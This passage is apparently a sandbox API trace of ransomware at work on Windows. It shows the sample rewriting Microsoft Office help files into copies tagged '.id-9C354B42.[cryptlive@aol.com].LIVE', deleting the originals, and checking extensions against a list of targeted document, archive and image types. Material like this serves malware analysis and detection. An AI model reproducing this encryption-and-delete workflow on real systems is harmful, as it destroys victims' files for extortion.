dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.028] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.028] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.029] GetLastError () returned 0x0 [0140.029] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0140.029] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0140.030] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.030] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0140.031] SetEndOfFile (hFile=0x3ac) returned 1 [0140.031] CloseHandle (hObject=0x3ac) returned 1 [0140.031] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.031] SetEndOfFile (hFile=0x350) returned 1 [0140.033] CloseHandle (hObject=0x350) returned 1 [0140.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 1 [0140.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.034] lstrlenW (lpString=".doc") returned 4 [0140.034] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.034] lstrlenW (lpString=".docx") returned 5 [0140.034] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.034] lstrlenW (lpString=".pdf") returned 4 [0140.034] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.034] lstrlenW (lpString=".xls") returned 4 [0140.034] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.034] lstrlenW (lpString=".xlsx") returned 5 [0140.035] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.035] lstrlenW (lpString=".ppt") returned 4 [0140.035] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.035] lstrlenW (lpString=".zip") returned 4 [0140.035] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.035] lstrlenW (lpString=".rar") returned 4 [0140.035] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.035] lstrlenW (lpString=".bz2") returned 4 [0140.035] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.035] lstrlenW (lpString=".7z") returned 3 [0140.035] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.035] lstrlenW (lpString=".dbf") returned 4 [0140.035] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.035] lstrlenW (lpString=".1cd") returned 4 [0140.035] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.035] lstrlenW (lpString=".jpg") returned 4 [0140.035] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.035] lstrlenW (lpString=".doc") returned 4 [0140.035] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.035] lstrlenW (lpString=".docx") returned 5 [0140.035] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.035] lstrlenW (lpString=".pdf") returned 4 [0140.035] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.035] lstrlenW (lpString=".xls") returned 4 [0140.035] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.035] lstrlenW (lpString=".xlsx") returned 5 [0140.035] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.035] lstrlenW (lpString=".ppt") returned 4 [0140.035] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.036] lstrlenW (lpString=".zip") returned 4 [0140.036] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.036] lstrlenW (lpString=".rar") returned 4 [0140.036] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.036] lstrlenW (lpString=".bz2") returned 4 [0140.036] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.036] lstrlenW (lpString=".7z") returned 3 [0140.036] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.036] lstrlenW (lpString=".dbf") returned 4 [0140.036] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.036] lstrlenW (lpString=".1cd") returned 4 [0140.036] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0140.036] lstrlenW (lpString=".jpg") returned 4 [0140.036] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.036] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0140.036] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19 [0140.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.037] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=113) returned 1 [0140.037] CloseHandle (hObject=0x350) returned 1 [0140.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 0x20 [0140.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.037] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.037] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.038] GetLastError () returned 0x0 [0140.038] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x71, lpOverlapped=0x0) returned 1 [0140.039] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0140.040] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.040] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0140.040] SetEndOfFile (hFile=0x3ac) returned 1 [0140.040] CloseHandle (hObject=0x3ac) returned 1 [0140.040] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.040] SetEndOfFile (hFile=0x350) returned 1 [0140.043] CloseHandle (hObject=0x350) returned 1 [0140.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 1 [0140.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.044] lstrlenW (lpString=".doc") returned 4 [0140.044] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.044] lstrlenW (lpString=".docx") returned 5 [0140.044] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.044] lstrlenW (lpString=".pdf") returned 4 [0140.044] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.044] lstrlenW (lpString=".xls") returned 4 [0140.044] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.044] lstrlenW (lpString=".xlsx") returned 5 [0140.044] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.044] lstrlenW (lpString=".ppt") returned 4 [0140.044] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.044] lstrlenW (lpString=".zip") returned 4 [0140.044] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.044] lstrlenW (lpString=".rar") returned 4 [0140.044] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.044] lstrlenW (lpString=".bz2") returned 4 [0140.044] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.044] lstrlenW (lpString=".7z") returned 3 [0140.044] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.044] lstrlenW (lpString=".dbf") returned 4 [0140.044] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.044] lstrlenW (lpString=".1cd") returned 4 [0140.044] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.044] lstrlenW (lpString=".jpg") returned 4 [0140.044] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.044] lstrlenW (lpString=".doc") returned 4 [0140.044] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.044] lstrlenW (lpString=".docx") returned 5 [0140.045] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.045] lstrlenW (lpString=".pdf") returned 4 [0140.045] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.045] lstrlenW (lpString=".xls") returned 4 [0140.045] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.045] lstrlenW (lpString=".xlsx") returned 5 [0140.045] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.045] lstrlenW (lpString=".ppt") returned 4 [0140.045] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.045] lstrlenW (lpString=".zip") returned 4 [0140.045] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.045] lstrlenW (lpString=".rar") returned 4 [0140.045] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.045] lstrlenW (lpString=".bz2") returned 4 [0140.045] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.045] lstrlenW (lpString=".7z") returned 3 [0140.045] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.045] lstrlenW (lpString=".dbf") returned 4 [0140.045] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.045] lstrlenW (lpString=".1cd") returned 4 [0140.045] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0140.045] lstrlenW (lpString=".jpg") returned 4 [0140.045] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.045] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0140.045] lstrlenW (lpString="EXCEL.HXS") returned 9 [0140.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.046] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=7827686) returned 1 [0140.046] CloseHandle (hObject=0x350) returned 1 [0140.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs")) returned 0x20 [0140.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0140.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.046] lstrlenW (lpString=".doc") returned 4 [0140.046] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0140.046] lstrlenW (lpString=".docx") returned 5 [0140.046] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1 [0140.047] lstrlenW (lpString=".pdf") returned 4 [0140.047] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0140.047] lstrlenW (lpString=".xls") returned 4 [0140.047] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0140.047] lstrlenW (lpString=".xlsx") returned 5 [0140.047] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1 [0140.047] lstrlenW (lpString=".ppt") returned 4 [0140.047] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0140.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.047] lstrlenW (lpString=".zip") returned 4 [0140.047] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0140.047] lstrlenW (lpString=".rar") returned 4 [0140.047] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0140.047] lstrlenW (lpString=".bz2") returned 4 [0140.047] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0140.047] lstrlenW (lpString=".7z") returned 3 [0140.047] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0140.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.047] lstrlenW (lpString=".dbf") returned 4 [0140.047] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0140.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.047] lstrlenW (lpString=".1cd") returned 4 [0140.047] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0140.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.047] lstrlenW (lpString=".jpg") returned 4 [0140.047] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0140.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.047] lstrlenW (lpString=".doc") returned 4 [0140.047] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0140.047] lstrlenW (lpString=".docx") returned 5 [0140.047] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1 [0140.047] lstrlenW (lpString=".pdf") returned 4 [0140.047] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0140.047] lstrlenW (lpString=".xls") returned 4 [0140.047] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0140.048] lstrlenW (lpString=".xlsx") returned 5 [0140.048] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1 [0140.048] lstrlenW (lpString=".ppt") returned 4 [0140.048] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0140.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.048] lstrlenW (lpString=".zip") returned 4 [0140.048] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0140.048] lstrlenW (lpString=".rar") returned 4 [0140.048] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0140.048] lstrlenW (lpString=".bz2") returned 4 [0140.048] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0140.048] lstrlenW (lpString=".7z") returned 3 [0140.048] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0140.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.048] lstrlenW (lpString=".dbf") returned 4 [0140.048] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0140.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.048] lstrlenW (lpString=".1cd") returned 4 [0140.048] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0140.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0140.048] lstrlenW (lpString=".jpg") returned 4 [0140.048] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0140.048] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0140.048] lstrlenW (lpString="EXCEL_COL.HXC") returned 13 [0140.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.049] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=621) returned 1 [0140.049] CloseHandle (hObject=0x350) returned 1 [0140.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 0x20 [0140.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.049] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.049] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.050] GetLastError () returned 0x0 [0140.050] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x26d, lpOverlapped=0x0) returned 1 [0140.051] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x270, lpOverlapped=0x0) returned 1 [0140.053] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.053] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0140.053] SetEndOfFile (hFile=0x3ac) returned 1 [0140.053] CloseHandle (hObject=0x3ac) returned 1 [0140.053] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.053] SetEndOfFile (hFile=0x350) returned 1 [0140.055] CloseHandle (hObject=0x350) returned 1 [0140.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 1 [0140.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.057] lstrlenW (lpString=".doc") returned 4 [0140.057] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0140.057] lstrlenW (lpString=".docx") returned 5 [0140.057] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0140.057] lstrlenW (lpString=".pdf") returned 4 [0140.057] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0140.057] lstrlenW (lpString=".xls") returned 